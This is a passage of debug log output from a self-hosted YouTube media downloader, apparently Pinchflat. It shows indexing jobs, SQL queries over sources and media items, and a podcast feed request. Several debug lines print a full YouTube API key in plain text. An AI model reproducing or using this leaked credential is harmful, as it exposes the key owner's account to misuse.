"WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 16:17:28.172 [debug] QUERY OK source="media_items" db=2.7ms idle=168.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:17:28.172 [debug] QUERY OK source="tasks" db=0.1ms idle=171.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268200, 2, ~U[2026-10-09 21:17:28Z], ~U[2026-10-09 21:17:28Z]] 16:17:28.173 [info] {"args":{"id":2},"id":5268161,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":172441,"event":"job:stop","queue_time":645225,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:29.001 [info] {"args":{"id":22},"id":5268162,"meta":{},"system_time":1791580649001270270,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:29.001 [debug] QUERY OK source="sources" db=0.1ms idle=828.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:17:29.001 [debug] QUERY OK source="settings" db=0.1ms idle=828.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:29.001 [debug] QUERY OK source="media_profiles" db=0.0ms idle=822.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:29.002 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:29.002 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:17:29.002 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:29.002 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:29.124 [debug] QUERY OK source="media_items" db=0.5ms idle=121.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:17:29.124 [debug] QUERY OK source="media_items" db=0.3ms idle=122.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:17:29.125 [debug] QUERY OK source="tasks" db=0.1ms idle=123.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268201, 22, ~U[2026-10-09 21:17:29Z], ~U[2026-10-09 21:17:29Z]] 16:17:29.125 [info] {"args":{"id":22},"id":5268162,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":124407,"event":"job:stop","queue_time":613860,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:29.132 [info] {"args":{"id":10},"id":5268163,"meta":{},"system_time":1791580649132199807,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:29.132 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:17:29.132 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:29.132 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:29.132 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:29.132 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:17:29.133 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:29.133 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:29.378 [debug] QUERY OK source="media_items" db=0.5ms idle=245.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 16:17:29.381 [debug] QUERY OK source="media_items" db=2.9ms idle=246.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:17:29.382 [debug] QUERY OK source="tasks" db=0.1ms idle=249.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268202, 10, ~U[2026-10-09 21:17:29Z], ~U[2026-10-09 21:17:29Z]] 16:17:29.382 [info] {"args":{"id":10},"id":5268163,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":250388,"event":"job:stop","queue_time":478056,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:30.002 [info] {"args":{"id":4},"id":5268164,"meta":{},"system_time":1791580650002257712,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:30.002 [debug] QUERY OK source="sources" db=0.1ms idle=619.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:17:30.002 [debug] QUERY OK source="settings" db=0.1ms idle=619.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:30.003 [debug] QUERY OK source="media_profiles" db=0.1ms idle=613.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:30.003 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:30.003 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:17:30.003 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:30.003 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:30.253 [debug] QUERY OK source="media_items" db=0.6ms idle=250.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 16:17:30.255 [debug] QUERY OK source="media_items" db=0.5ms idle=251.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:17:30.255 [debug] QUERY OK source="tasks" db=0.1ms idle=252.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268203, 4, ~U[2026-10-09 21:17:30Z], ~U[2026-10-09 21:17:30Z]] 16:17:30.256 [info] {"args":{"id":4},"id":5268164,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":253648,"event":"job:stop","queue_time":695803,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:42.645 [info] GET /sources/a9100910-ac63-4f4f-8bb2-2a507e1563c7/feed.xml 16:17:42.645 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a9100910-ac63-4f4f-8bb2-2a507e1563c7"} Pipelines: [:maybe_basic_auth] 16:17:42.646 [debug] QUERY OK source="sources" db=0.1ms idle=952.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a9100910-ac63-4f4f-8bb2-2a507e1563c7"] 16:17:42.658 [debug] QUERY OK source="media_items" db=12.2ms idle=952.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [38, 2000] 16:17:42.759 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1065.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [38] 16:17:42.760 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1066.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577906] 16:17:42.763 [info] Sent 200 in 117ms 16:17:44.394 [info] {"source":"oban","duration":9686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:52.024 [info] {"args":{"id":44},"id":5268165,"meta":{},"system_time":1791580672024709085,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:52.025 [debug] QUERY OK source="sources" db=0.1ms idle=331.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 16:17:52.025 [debug] QUERY OK source="settings" db=0.1ms idle=331.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:52.025 [debug] QUERY OK source="media_profiles" db=0.3ms idle=331.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:52.026 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 